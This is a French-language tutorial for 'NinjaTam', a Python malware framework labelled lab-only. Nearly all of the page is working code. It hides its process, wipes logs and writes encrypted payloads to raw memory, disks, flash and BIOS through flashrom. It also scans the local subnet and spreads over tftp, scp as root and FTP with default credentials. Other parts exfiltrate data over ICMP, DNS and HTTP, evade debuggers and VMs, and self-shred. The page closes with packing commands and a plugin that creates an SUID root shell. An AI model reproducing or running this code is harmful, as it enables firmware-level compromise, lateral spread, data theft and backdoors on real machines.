🐱‍👤 NinjaTam v3.4 – Le Tuto Complet (Python)

#!/usr/bin/env python3
# NinjaTam - v3.4: Le Chef-d'Oeuvre Matériel Mutant
# © 2025 PCtamalou (PLATON-Y) - LAB ONLY

import os
import sys
import time
import random
import socket
import struct
import threading
import ctypes
import hashlib
import subprocess
import importlib.util
import glob
import logging
from Crypto.Cipher import AES
from Crypto.Util import Counter
import base64
import string
import ast

# --- Configuration initiale ---
logging.basicConfig(level=logging.CRITICAL)

# --- AST Mutator avancé ---
class Mutator(ast.NodeTransformer):
    def visit_FunctionDef(self, node):
        node.name = ''.join(random.choices(string.ascii_letters, k=10))
        self.generic_visit(node)
        return node

    def visit_Name(self, node):
        if isinstance(node.ctx, ast.Store) and node.id not in __builtins__.__dict__:
            node.id = ''.join(random.choices(string.ascii_letters, k=10))
        self.generic_visit(node)
        return node

# --- Mutation code live ---
def mutate_code():
    with open(__file__, "r") as f:
        code = f.read()
    tree = ast.parse(code)
    mutated_tree = Mutator().visit(tree)
    ast.fix_missing_locations(mutated_tree)
    exec(compile(mutated_tree, "", "exec"), globals())

# --- Désactivation logs ---
def disable_logs():
    try:
        os.system("dmesg -C 2>/dev/null")
        with open("/proc/sys/kernel/printk", "w") as f:
            f.write("0 0 0 0\n")
    except:
        pass

# --- Écrasement disque après suppression ---
def shred_file(file_path: str):
    try:
        os.system(f"shred -u -z {file_path} 2>/dev/null")
    except:
        try:
            with open(file_path, "wb") as f:
                f.write(os.urandom(os.path.getsize(file_path)))
            os.unlink(file_path)
        except:
            pass

# --- Effacement mémoire vive ---
def clear_memory():
    try:
        libc = ctypes.CDLL("libc.so.6")
        libc.madvise(0, 0xFFFFFFFF, 4)  # MADV_DONTNEED
    except:
        pass

# --- Détection plateforme ---
def detect_platform():
    for _ in range(3):
        try:
            os_name = os.uname()[0].lower() if hasattr(os, "uname") else "windows"
            arch = os.uname()[4] if hasattr(os, "uname") else "x86_64"
            if "linux" in os_name: return b"linux", arch.encode()
            elif "bsd" in os_name: return b"bsd", arch.encode()
            elif "windows" in os_name: return b"windows", b"x86_64"
            return b"unknown", b"unknown"
        except:
            time.sleep(random.uniform(0.1, 1.0))
    return b"unknown", b"unknown"

# --- Détection hardware ---
def detect_hardware():
    devices = {"mem": [], "ports": [], "disks": [], "nics": [], "flash": [], "net": [], "serial": [], "usb": []}
    platform, _ = detect_platform()
    try:
        if platform in [b"linux", b"bsd"]:
            if os.path.exists("/dev/mem"): devices["mem"].append(b"/dev/mem")
            elif os.path.exists("/dev/kmem"): devices["mem"].append(b"/dev/kmem")
            if os.path.exists("/dev/port"): devices["ports"].append(b"/dev/port")
            for dev in glob.glob("/dev/[shnxv]d*") + glob.glob("/dev/nvme*"):
                devices["disks"].append(dev.encode())
            for dev in glob.glob("/dev/mtd*"):
                devices["flash"].append(dev.encode())
            for nic in os.listdir("/sys/class/net/"):
                if nic != "lo":
                    devices["nics"].append(nic.encode())
            for dev in glob.glob("/dev/ttyS*") + glob.glob("/dev/ttyUSB*"):
                devices["serial"].append(dev.encode())
            for dev in glob.glob("/dev/usb*"):
                devices["usb"].append(dev.encode())
            devices["net"] = detect_network_devices()
        elif platform == b"windows":
            devices["mem"].append(b"kernel32")
            for drive in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
                if os.path.exists(f"{drive}:\\"):
                    devices["disks"].append(f"{drive}:\\".encode())
    except Exception as e:
        logging.critical(f"Erreur detect_hardware: {e}")
    return devices

# --- Détection réseau ---
def detect_network_devices():
    net_devices = []
    try:
        interfaces = os.listdir("/sys/class/net/")
        for iface in interfaces:
            if iface != "lo":
                try:
                    ip_cmd = subprocess.check_output(f"ip addr show {iface}", shell=True, timeout=5).decode()
                    for line in ip_cmd.splitlines():
                        if "inet " in line:
                            ip = line.split("inet ")[1].split("/")[0]
                            subnet = line.split("inet ")[1].split("/")[1]
                            base_ip = ".".join(ip.split(".")[:-1])
                            max_range = min(255, 2 ** (32 - int(subnet)))
                            for i in range(1, max_range):
                                target_ip = f"{base_ip}.{i}"
                                for port in [22, 23, 80, 161, 443, 69, 21]:
                                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                                    s.settimeout(0.5)
                                    try:
                                        s.connect((target_ip, port))
                                        net_devices.append((target_ip.encode(), port))
                                    except:
                                        pass
                                    finally:
                                        s.close()
                except:
                    pass
    except Exception as e:
        logging.critical(f"Erreur detect_network_devices: {e}")
    return net_devices

# --- Vérification environnement fake ---
def check_fake_env():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(1)
        s.connect(("1.1.1.1", 443))
        s.close()
        return False
    except:
        return True

# --- Chargement payload ---
def load_payload(file_path: str) -> bytes:
    for _ in range(3):
        try:
            with open(file_path, "rb") as f:
                return f.read()
        except:
            time.sleep(random.uniform(0.1, 1.0))
    logging.critical(f"Erreur load_payload: {file_path}")
    return b""

# --- Chiffrement AES-256 CTR ---
def encrypt_payload(payload: bytes) -> bytes:
    try:
        key = hashlib.sha256(b"NinjaTamKey").digest()
        iv = os.urandom(16)
        ctr = Counter.new(128, initial_value=int.from_bytes(iv, "big"))
        cipher = AES.new(key, AES.MODE_CTR, counter=ctr)
        encrypted = cipher.encrypt(payload)
        return iv + encrypted
    except:
        return encrypt_payload_fallback(payload)

def encrypt_payload_fallback(payload: bytes) -> bytes:
    key = hashlib.sha256(b"NinjaTam").digest()
    return bytes(a ^ b for a, b in zip(payload, key * (len(payload) // len(key) + 1)))[:len(payload)]

# --- Masquage process renforcé ---
def hide_in_process():
    platform, _ = detect_platform()
    for _ in range(3):
        try:
            if platform in [b"linux", b"bsd"]:
                libc = ctypes.CDLL("libc.so.6")
                libc.prctl(15, "kworker/0:1", 0, 0, 0)
                libc.ptrace(0, 0, 0, 0)
                pid = os.getpid()
                with open(f"/proc/{pid}/comm", "w") as f:
                    f.write("kworker/0:1\n")
                os.environ["LD_PRELOAD"] = "/tmp/fake.so"
                return
            elif platform == b"windows":
                ntdll = ctypes.windll.ntdll
                ntdll.NtSetInformationProcess(-1, 29, ctypes.byref(ctypes.c_int(0x80000000)), 4)
                return
        except:
            time.sleep(random.uniform(0.1, 1.0))
    logging.critical("Erreur hide_in_process")

# --- Transport payload ---
def transport_payload(payload: bytes, devices: dict):
    encrypted_payload = encrypt_payload(payload)
    for attempt in range(3):
        try:
            for mem in devices["mem"]:
                try:
                    time.sleep(random.uniform(0.5, 2.0))
                    offset = random.randint(0x100000, 0xF000000)
                    if mem in [b"/dev/mem", b"/dev/kmem"]:
                        with open(mem, "wb") as m:
                            m.seek(offset)
                            m.write(encrypted_payload)
                    elif mem == b"kernel32":
                        kernel32 = ctypes.windll.kernel32
                        kernel32.WriteProcessMemory(-1, offset, encrypted_payload, len(encrypted_payload), None)
                except:
                    pass

            for port in devices["ports"]:
                try:
                    time.sleep(random.uniform(0.5, 2.0))
                    with open(port, "wb") as p:
                        p.seek(random.choice([0x2e, 0x3f8, 0xcf8, 0xe000]))
                        p.write(encrypted_payload[:16])
                except:
                    pass

            for disk in devices["disks"]:
                try:
                    time.sleep(random.uniform(0.5, 2.0))
                    with open(disk, "wb") as d:
                        d.seek(random.randint(0, 1024))
                        d.write(encrypted_payload[:512])
                except:
                    pass

            for nic in devices["nics"]:
                try:
                    time.sleep(random.uniform(0.5, 2.0))
                    s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
                    s.bind((nic.decode(), 0))
                    s.send(encrypted_payload[:1500])
                    s.close()
                except:
                    pass

            for flash in devices["flash"]:
                try:
                    time.sleep(random.uniform(0.5, 2.0))
                    with open(flash, "wb") as f:
                        f.seek(random.randint(0, 4096))
                        f.write(encrypted_payload[:1024])
                except:
                    pass

            for serial in devices["serial"]:
                try:
                    time.sleep(random.uniform(0.5, 2.0))
                    with open(serial, "wb") as s:
                        s.write(encrypted_payload[:1024])
                except:
                    pass

            for usb in devices["usb"]:
                try:
                    time.sleep(random.uniform(0.5, 2.0))
                    with open(usb, "wb") as u:
                        u.write(encrypted_payload[:512])
                except:
                    pass
            return
        except Exception as e:
            logging.critical(f"Erreur transport_payload attempt {attempt}: {e}")
            time.sleep(random.uniform(0.5, 2.0))
    logging.critical("Échec total transport_payload")

# --- Persistance multi-niveaux + BIOS/UEFI ---
def persist_multi_level(devices: dict, payload: bytes):
    encrypted_payload = encrypt_payload(payload)
    for attempt in range(3):
        try:
            if devices["flash"]:
                with open(devices["flash"][0], "wb") as f:
                    f.seek(random.randint(0, 4096))
                    f.write(encrypted_payload[:1024])
            elif devices["nics"] and os.path.exists("/usr/sbin/ethtool"):
                nic = devices["nics"][0].decode()
                with open("/tmp/nic.bin", "wb") as f:
                    f.write(encrypted_payload[:512])
                os.system(f"ethtool -E {nic} < /tmp/nic.bin 2>/dev/null")
                os.unlink("/tmp/nic.bin")
            elif devices["disks"]:
                with open(devices["disks"][0], "wb") as d:
                    d.seek(0)
                    d.write(encrypted_payload[:512])
            if os.path.exists("/usr/sbin/flashrom"):
                with open("/tmp/bios.bin", "wb") as f:
                    f.write(encrypted_payload[:1024])
                os.system("flashrom -p internal -w /tmp/bios.bin 2>/dev/null")
                shred_file("/tmp/bios.bin")
            return
        except:
            time.sleep(random.uniform(0.5, 2.0))
    logging.critical("Échec persist_multi_level")

# --- Firmware réseau ---
def flash_network_firmware(devices: dict, payload: bytes):
    encrypted_payload = encrypt_payload(payload)
    for ip, port in devices["net"]:
        for attempt in range(3):
            try:
                if port == 69:
                    with open("/tmp/tftp.bin", "wb") as f:
                        f.write(encrypted_payload[:1024])
                    os.system(f"tftp {ip.decode()} -c put /tmp/tftp.bin firmware.bin 2>/dev/null")
                    shred_file("/tmp/tftp.bin")
                    break
                elif port == 22:
                    with open("/tmp/scp.bin", "wb") as f:
                        f.write(encrypted_payload[:1024])
                    os.system(f"scp -q /tmp/scp.bin root@{ip.decode()}:/firmware.bin 2>/dev/null")
                    shred_file("/tmp/scp.bin")
                    os.system(f"ssh root@{ip.decode()} 'logger -p local0.none' 2>/dev/null")
                    break
                elif port == 21:
                    with open("/tmp/ftp.bin", "wb") as f:
                        f.write(encrypted_payload[:1024])
                    os.system(f"curl -T /tmp/ftp.bin ftp://{ip.decode()}/firmware.bin --user admin:admin 2>/dev/null")
                    shred_file("/tmp/ftp.bin")
                    break
            except:
                time.sleep(random.uniform(0.5, 2.0))

# --- Propagation et exploitation ---
def propagate_payload(devices: dict, payload: bytes):
    encrypted_payload = encrypt_payload(payload)
    for ip, port in devices["net"]:
        for attempt in range(3):
            try:
                if port == 445:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.settimeout(1)
                    s.connect((ip.decode(), 445))
                    s.send(b"\x00" * 4 + encrypted_payload[:1024])
                    s.close()
                    break
                elif port == 80:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.settimeout(1)
                    s.connect((ip.decode(), 80))
                    s.send(b"POST /vuln HTTP/1.1\r\nHost: ninjatam\r\nContent-Length: " + str(len(encrypted_payload)).encode() + b"\r\n\r\n" + encrypted_payload)
                    s.close()
                    break
            except:
                time.sleep(random.uniform(0.5, 2.0))

# --- Exfiltration ---
def exfil_data(payload: bytes, devices: dict):
    encrypted_payload = encrypt_payload(payload[:32])
    for proto in ["icmp", "dns", "http"]:
        for attempt in range(3):
            try:
                if not devices["nics"]:
                    break
                time.sleep(random.uniform(0.5, 2.0))
                if proto == "icmp":
                    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
                    pkt = struct.pack("!BBHHH", 8, 0, 0, random.randint(1, 65535), 0) + encrypted_payload
                    checksum = sum(struct.unpack("!H" * (len(pkt) // 2), pkt)) & 0xFFFF
                    pkt = pkt[:2] + struct.pack("!H", checksum) + pkt[4:]
                    s.sendto(pkt, ("192.168.1.1", 0))
                    s.close()
                    return
                elif proto == "dns":
                    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                    dns_pkt = struct.pack("!HBBHHHH", random.randint(1, 65535), 1, 0, 1, 0, 0, 0) + encrypted_payload.hex().encode() + b".ninjatam.local"
                    s.sendto(dns_pkt, ("8.8.8.8", 53))
                    s.close()
                    return
                elif proto == "http":
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.connect(("192.168.1.1", 80))
                    s.send(b"GET /?" + encrypted_payload.hex().encode() + b" HTTP/1.1\r\nHost: ninjatam\r\n\r\n")
                    s.close()
                    return
            except:
                time.sleep(random.uniform(0.5, 2.0))
    logging.critical("Échec exfil_data")

# --- Détection analyse ---
def detect_analysis():
    try:
        for proc in os.listdir("/proc"):
            try:
                with open(f"/proc/{proc}/cmdline", "r") as f:
                    cmd = f.read()
                    if any(x in cmd for x in ["gdb", "strace", "ltrace", "volatility", "wireshark"]):
                        return True
            except:
                pass
        vm_signs = ["/sys/class/dmi/id/product_name", "/proc/cpuinfo", "/proc/scsi/scsi"]
        for path in vm_signs:
            if os.path.exists(path):
                with open(path, "r") as f:
                    content = f.read()
                    if any(x in content for x in ["VMware", "VirtualBox", "QEMU", "Hyper-V", "KVM"]):
                        return True
        with open("/proc/self/stat", "r") as f:
            stats = f.read().split()
            if int(stats[23]) > 2000000:
                return True
        if check_fake_env():
            return True
    except:
        pass
    return False

# --- Auto-destruction ---
def self_destruct():
    if detect_analysis():
        for _ in range(3):
            try:
                shred_file(__file__)
                clear_memory()
                return
            except:
                time.sleep(random.uniform(0.1, 1.0))
        logging.critical("Échec self_destruct")

# --- Chargement plugins ---
def load_plugins(devices: dict):
    plugins = {}
    plugin_dir = "ninjatam_plugins"
    try:
        if not os.path.exists(plugin_dir):
            os.makedirs(plugin_dir)
        for plugin_file in os.listdir(plugin_dir):
            if plugin_file.endswith(".py") and plugin_file != "__init__.py":
                module_name = plugin_file[:-3]
                spec = importlib.util.spec_from_file_location(module_name, os.path.join(plugin_dir, plugin_file))
                module = importlib.util.module_from_spec(spec)
                spec.loader.exec_module(module)
                plugins[module_name] = module
    except Exception as e:
        logging.critical(f"Erreur load_plugins: {e}")
    return plugins

# --- Polymorphisme ---
def polymorph_code():
    rand = random.randint(0, 255)
    return bytes([rand]) + encrypt_payload(bytes([rand ^ 0xFF]))

# --- Time delay furtif ---
def stealth_delay():
    delay = random.uniform(300, 1800)  # 5 à 30 min
    time.sleep(delay)

# --- Main ---
def run_ninjatam(payload: bytes):
    disable_logs()
    hide_in_process()
    stealth_delay()  # Attente furtive
    devices = detect_hardware()
    plugins = load_plugins(devices)
    
    mutate_code()  # Mutation live
    payload = payload + polymorph_code()
    transport_payload(payload, devices)
    persist_multi_level(devices, payload)
    flash_network_firmware(devices, payload)
    propagate_payload(devices, payload)
    exfil_data(payload, devices)
    
    for name, plugin in plugins.items():
        for _ in range(3):
            try:
                plugin.run(devices, payload)
                break
            except:
                time.sleep(random.uniform(0.5, 2.0))
    
    self_destruct()

# --- Exécution ---
if __name__ == "__main__":
    payload_file = sys.argv[1] if len(sys.argv) > 1 else None
    if payload_file:
        payload = load_payload(payload_file)
        if payload:
            run_ninjatam(payload)
        else:
            print("Erreur : Payload vide ou introuvable")
            sys.exit(1)
    else:
        print("Usage : python3 ninjatam.py ")
        sys.exit(1)

sudo python3 ninjatam.py 

sudo python3 ninjatam.py payload.bin

pyarmor pack ninjatam.py

nuitka --onefile ninjatam.py

# ninjatam_plugins/transport_plugin.py  
import socket  
import os  
import hashlib  

def run(devices, payload):  
    encrypted_payload = encrypt_payload(payload)  
    for nic in devices["nics"]:  
        try:  
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
            port = random.randint(1024, 65535)  
            s.sendto(encrypted_payload[:1024], ("192.168.1.255", port))  
            s.close()  
            print(f"[TransportPlugin] Payload envoyé via UDP sur {nic.decode()}:{port}")  
        except:  
            pass  

def encrypt_payload(payload):  
    key = hashlib.sha256(b"NinjaTamKey").digest()  
    return bytes(a ^ b for a, b in zip(payload, key * (len(payload) // len(key) + 1)))[:len(payload)]  

sudo python3 ninjatam.py payload.bin

# ninjatam_plugins/backdoor_plugin.py  
import os  

def run(devices, payload):  
    try:  
        os.system("cp /bin/sh /tmp/sh; chmod +s /tmp/sh")  
        print("[BackdoorPlugin] SUID shell activé (/tmp/sh)")  
    except:  
        print("[BackdoorPlugin] Échec création backdoor")  

sudo python3 ninjatam.py payload.bin